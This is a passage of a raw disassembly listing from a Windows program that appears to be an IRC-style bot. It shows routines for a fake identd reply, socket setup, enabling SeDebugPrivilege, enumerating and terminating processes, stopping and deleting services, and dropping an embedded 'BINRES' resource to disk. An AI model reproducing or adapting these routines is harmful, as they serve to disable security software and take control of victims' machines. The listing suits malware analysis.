; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F910	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F910
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F94D
		mov	byte_4E6E99, 0
		jmp	loc_41FAB1
; ---------------------------------------------------------------------------


loc_41F94D:				; CODE XREF: sub_41F910+2Fj
		mov	cl, byte_44727B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6E99, 1
		jnz	loc_41FAA4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FA97
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_446F30
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41FA16


loc_41F9BA:				; CODE XREF: sub_41F910+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E44
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F9BA


loc_41FA16:				; CODE XREF: sub_41F910+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_69BB85
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_50FC88
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E6E99, bl
		pop	edi
		jmp	short loc_41FAAE
; ---------------------------------------------------------------------------


loc_41FA97:				; CODE XREF: sub_41F910+67j
		push	7D0h
		nop
		call	near ptr 28C1E38h
		jmp	short loc_41FAB1
; ---------------------------------------------------------------------------


loc_41FAA4:				; CODE XREF: sub_41F910+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41FAAE:				; CODE XREF: sub_41F910+185j
		push	ebp
		call	esi	; closesocket


loc_41FAB1:				; CODE XREF: sub_41F910+38j
					; sub_41F910+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F910	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB40	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FB7B
		dec	eax
		jz	short loc_41FB64
		dec	eax
		jnz	short loc_41FBA1
		mov	ecx, dword_50BB28
		mov	dword_50BB0C, 4
		call	sub_401DCA
		jmp	short loc_41FBA1
; ---------------------------------------------------------------------------


loc_41FB64:				; CODE XREF: sub_41FB40+8j
		mov	ecx, dword_50BB28
		mov	dword_50BB0C, 7
		call	sub_401028
		jmp	short loc_41FBA1
; ---------------------------------------------------------------------------


loc_41FB7B:				; CODE XREF: sub_41FB40+5j
		mov	ecx, dword_50BB28
		xor	eax, eax
		mov	dword_50BB14, eax
		mov	dword_50BB0C, 1
		mov	dword_50BB1C, eax
		mov	dword_50BB20, eax
		call	sub_401744


loc_41FBA1:				; CODE XREF: sub_41FB40+Bj
					; sub_41FB40+22j ...
		mov	eax, dword_50BB2C
		push	offset dword_50BB08
		push	eax
		mov	dword_50BB0C, 4
		nop
		call	near ptr 29809F1h
		retn	4
sub_41FB40	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FBE0:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_44790F
		mov	dword_50BB08, 20h
		mov	dword_50BB0C, 2
		mov	dword_50BB10, 3
		mov	dword_50BB14, esi
		mov	dword_50BB18, esi
		mov	dword_50BB1C, esi
		mov	dword_50BB20, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 29805E0h
		cmp	eax, esi
		mov	dword_50BB2C, eax
		jz	short loc_41FC5A
		push	offset dword_50BB08
		push	eax
		mov	dword_50BB0C, 4
		mov	dword_50BB1C, esi
		mov	dword_50BB20, esi
		nop
		call	near ptr 29809F1h


loc_41FC5A:				; CODE XREF: ___:0041FC36j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC80	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FC80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCB0	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB28, ecx
		push	100h
		mov	ecx, offset byte_44790F
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 2980000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FCB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD30:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FD52
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FD52:				; CODE XREF: ___:0041FD4Aj
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2920000h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FD69
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FD69:				; CODE XREF: ___:0041FD61j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 2820000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FD8C
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FD8C:				; CODE XREF: ___:0041FD84j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 282076Ah
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 2820A63h
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 2820E14h
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE00	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE28
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FE21
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FE00+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE28:				; CODE XREF: sub_41FE00+Fj
		pop	esi
		retn
sub_41FE00	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE40	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE5E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE5E:				; CODE XREF: sub_41FE40+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FEBA
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEBA:				; CODE XREF: sub_41FE40+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE40	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF00	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF1E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF1E:				; CODE XREF: sub_41FF00+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FF70
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF70:				; CODE XREF: sub_41FF00+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FF00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFA0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FFD4
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FFD7


loc_41FFD4:				; CODE XREF: sub_41FFA0+14j
		or	eax, 0FFFFFFFFh


loc_41FFD7:				; CODE XREF: sub_41FFA0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FFA0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFF0	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420026
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420026
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420029


loc_420026:				; CODE XREF: sub_41FFF0+8j
					; sub_41FFF0+1Aj
		or	eax, 0FFFFFFFFh


loc_420029:				; CODE XREF: sub_41FFF0+34j
		pop	edi
		pop	esi
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420040	proc near		; CODE XREF: sub_4015FAj

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_4368E0
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_437060
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_420073
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_420073:				; CODE XREF: sub_420040+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42013D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_420095:				; CODE XREF: sub_420040+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420127
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_43705A
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420120
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_437054
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 77826142h, 8508C483h
		dd 500D75C0h, 0FEE6E856h, 0C6900237h, 1132444h
; ---------------------------------------------------------------------------


loc_420120:				; CODE XREF: sub_420040+A2j
		push	esi
		call	near ptr 28D0809h
		nop


loc_420127:				; CODE XREF: sub_420040+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_420095
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42013D:				; CODE XREF: sub_420040+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420040	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201A0	proc near		; CODE XREF: sub_4019FBj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4201A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42031A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		nop
		call	near ptr 29C0269h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	near ptr 2970000h
		nop
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		call	near ptr 76081F67h
		nop
		mov	ecx, dword_50F9AC
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_443AC4 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE13ACE8h, 0BBE850FFh, 90024506h, 14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F198E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0F25E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42031A:				; CODE XREF: sub_4201A0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4201A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203B0	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2990BE0h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4203D5
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_4203D5:				; CODE XREF: sub_4203B0+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		call	near ptr 2930687h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420400
		push	ebx
		nop
		call	near ptr 29A0393h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420400:				; CODE XREF: sub_4203B0+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_4203B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420480	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	near ptr 2810804h
		nop
		push	eax
		call	near ptr 29516E8h
		nop
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_4204D0
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 2810878h
		push	eax
		nop
		call	near ptr 2951C90h
		test	eax, eax
		jz	short loc_42052F


loc_4204D0:				; CODE XREF: sub_420480+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420533
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 2960000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420528
		nop
		call	near ptr 28407DEh
		cmp	eax, 514h
		jnz	short loc_420533
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42052D
; ---------------------------------------------------------------------------


loc_420528:				; CODE XREF: sub_420480+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42052D:				; CODE XREF: sub_420480+A6j
		call	edi


loc_42052F:				; CODE XREF: sub_420480+4Ej
		mov	[esp+38h+var_28], esi


loc_420533:				; CODE XREF: sub_420480+54j
					; sub_420480+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		call	near ptr 28108A3h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_420558
		push	0
		push	esi
		call	near ptr 27A0000h
		nop
		push	esi
		mov	bl, 1
		call	edi


loc_420558:				; CODE XREF: sub_420480+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_420577
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_420577:				; CODE XREF: sub_420480+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_420480	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4205E0	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4205E0
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_4368E0
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 2920000h
		nop
		test	eax, eax
		mov	dword_50BB30, eax
		jnz	short loc_42062C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 28608D9h
		test	eax, eax
		mov	dword_50BB30, eax
		jz	loc_4207AA


loc_42062C:				; CODE XREF: sub_4205E0+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50BB34, eax
		mov	eax, dword_50BB30
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50BB30
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB38, eax
		call	esi
		mov	ecx, dword_50BB34
		mov	dword_50BB3C, eax
		test	ecx, ecx
		jz	loc_4207AA
		mov	edx, dword_50BB38
		test	edx, edx
		jz	loc_4207AA
		test	eax, eax
		jz	loc_4207AA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4207AA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_420791
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_4206EF:				; CODE XREF: sub_4205E0+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_42077D
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB38
		test	eax, eax
		jz	short loc_420776
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB3C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_420776:				; CODE XREF: sub_4205E0+136j
		push	esi
		nop
		call	near ptr 28D0809h


loc_42077D:				; CODE XREF: sub_4205E0+11Fj
		mov	eax, [esp+78h+var_68]
